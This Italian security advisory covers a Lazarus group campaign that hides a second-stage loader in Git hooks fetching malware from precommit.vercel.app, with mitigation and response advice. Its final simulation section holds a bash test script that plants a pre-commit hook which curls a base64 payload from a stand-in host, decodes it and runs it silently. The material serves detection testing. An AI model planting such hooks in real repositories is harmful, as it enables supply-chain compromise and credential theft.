Il Gruppo Lazarus Usa Git Hooks per Nascondere Malware: L’intervista pericolosa della RDPC e la campagna TaskJacker stanno ora nascondendo il loro caricatore di secondo stadio all’interno di git hooks che scaricano i malware InvisibleFerret e Beavertail

Riassunto

Il gruppo nordcoreano Lazarus ha aggiornato la sua campagna Contagious Interview e TaskJacker incorporando un meccanismo di consegna di seconda fase all’interno di Git dannosi pre-commit and post-checkout hook. Questi hook recuperano silenziosamente payload specifici per la piattaforma da un URL ospitato su Vercel ed eseguono tali payload su sistemi macOS, Linux e Windows. Sfruttando i flussi di lavoro affidabili degli sviluppatori e degli strumenti di repository, gli attaccanti trasformano attività di codifica di routine in un vettore di compromissione della supply chain che può portare al furto di credenziali e alla compromissione di portafogli di criptovalute. Gli indicatori chiave includono il dannoso .githooks/pre-commit script e infrastruttura ospitati su precommit.vercel.app.

Indagine

I ricercatori di OpenSourceMalware hanno identificato un compatto .githooks/pre-commit script che rileva il sistema operativo della vittima e scarica il payload appropriato da precommit.vercel.app usando curl or wget. Lo stesso hash dello script è apparso in diversi repository GitHub mascherati da progetti di valutazione del codice legati a temi crypto e DeFi. L’infrastruttura ha servito diversi payload shell o batch a seconda del sistema operativo, controllati tramite un parametro di query a flag. I ricercatori hanno anche condiviso le query di ricerca di codice GitHub che possono essere utilizzate per riprodurre la ricerca e individuare repository simili.

Mitigazione

Le organizzazioni dovrebbero esaminare attentamente gli hook dei repository Git, specialmente i file sotto .githooks, .husky, e .vscode/tasks.json, prima di consentirne l’esecuzione. Gli sviluppatori dovrebbero clonare e testare repository non attendibili solo in ambienti isolati che non contengano chiavi SSH, file di portafogli o profili di browser attivi. L’esecuzione automatica degli hook Git dovrebbe essere disabilitata ove possibile o limitata a script approvati. I team di sicurezza dovrebbero anche monitorare il traffico in uscita verso precommit.vercel.app e domini simili che potrebbero supportare la consegna di payload dannosi.

Risposta

I difensori dovrebbero bloccare la comunicazione di rete con precommit.vercel.app e creare un monitoraggio dell’integrità dei file per file inaspettati .githooks/pre-commit . Gli avvisi dovrebbero essere attivati anche quando curl or wget viene eseguito da processi correlati agli hook Git. Ogni credenziale, token o portafoglio di criptovalute potenzialmente esposti dovrebbe essere indagato e ruotato immediatamente. La caccia alle minacce dovrebbe essere ampliata utilizzando gli indicatori forniti per identificare i repository colpiti e qualsiasi sistema che abbia interagito con essi.

Esecuzione di Simulazione

Prerequisito: Il Controllo Prevolo di Telemetria & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta attesa dalla logica di rilevamento.

• Narrativa d’Attacco e Comandi:
  Un operatore del gruppo Lazarus compromette la workstation di uno sviluppatore e inietta un hook pre-commit Git dannoso. L’hook è collocato in una directory nascosta “.githooks” per evitare la scoperta casuale. Quando qualsiasi git commit viene eseguito, l’hook contatta silenziosamente un server C2, scarica un payload codificato base64, lo scrive su /tmp/.payload, lo rende eseguibile e lo esegue, stabilendo così un punto d’appoggio (T1620) ed eseguendo un payload dannoso incorporato (T1027.009).

• Script di Test di Regressione:

  #!/bin/bash
  # -------------------------------------------------
  # Test di hook pre-commit git dannoso in stile Lazarus
  # -------------------------------------------------
  
  # 1. Crea la directory nascosta .githooks
  mkdir -p "$HOME/.githooks"
  
  # 2. Scrivi hook pre-commit dannoso
  cat > "$HOME/.githooks/pre-commit" <<'EOF'
  #!/bin/bash
  # Hook pre-commit dannoso – scarica ed esegue payload
  C2_URL="http://malicious.example.com/payload.b64"
  TMPFILE="/tmp/.payload"
  
  # Scarica payload base64
  curl -s -o "$TMPFILE.b64" "$C2_URL"
  # Decodifica e imposta eseguibile
  base64 -d "$TMPFILE.b64" > "$TMPFILE"
  chmod +x "$TMPFILE"
  # Esegui payload silenziosamente
  "$TMPFILE" &
  exit 0
  EOF
  
  # 3. Rendi l'hook eseguibile
  chmod +x "$HOME/.githooks/pre-commit"
  
  # 4. Simula un git commit per attivare l'hook
  mkdir -p "$HOME/malicious-repo"
  cd "$HOME/malicious-repo"
  git init > /dev/null 2>&1
  touch README.md
  git add README.md
  git commit -m "Commit iniziale" > /dev/null 2>&1
  
  echo "Hook pre-commit dannoso eseguito (se il rilevamento funziona, dovrebbe apparire un avviso)."

• Comandi di Ripristino:

  #!/bin/bash
  # Rimuovi artefatti dannosi
  rm -rf "$HOME/.githooks"
  rm -f "/tmp/.payload" "/tmp/.payload.b64"
  rm -rf "$HOME/malicious-repo"
  echo "Pulizia completata."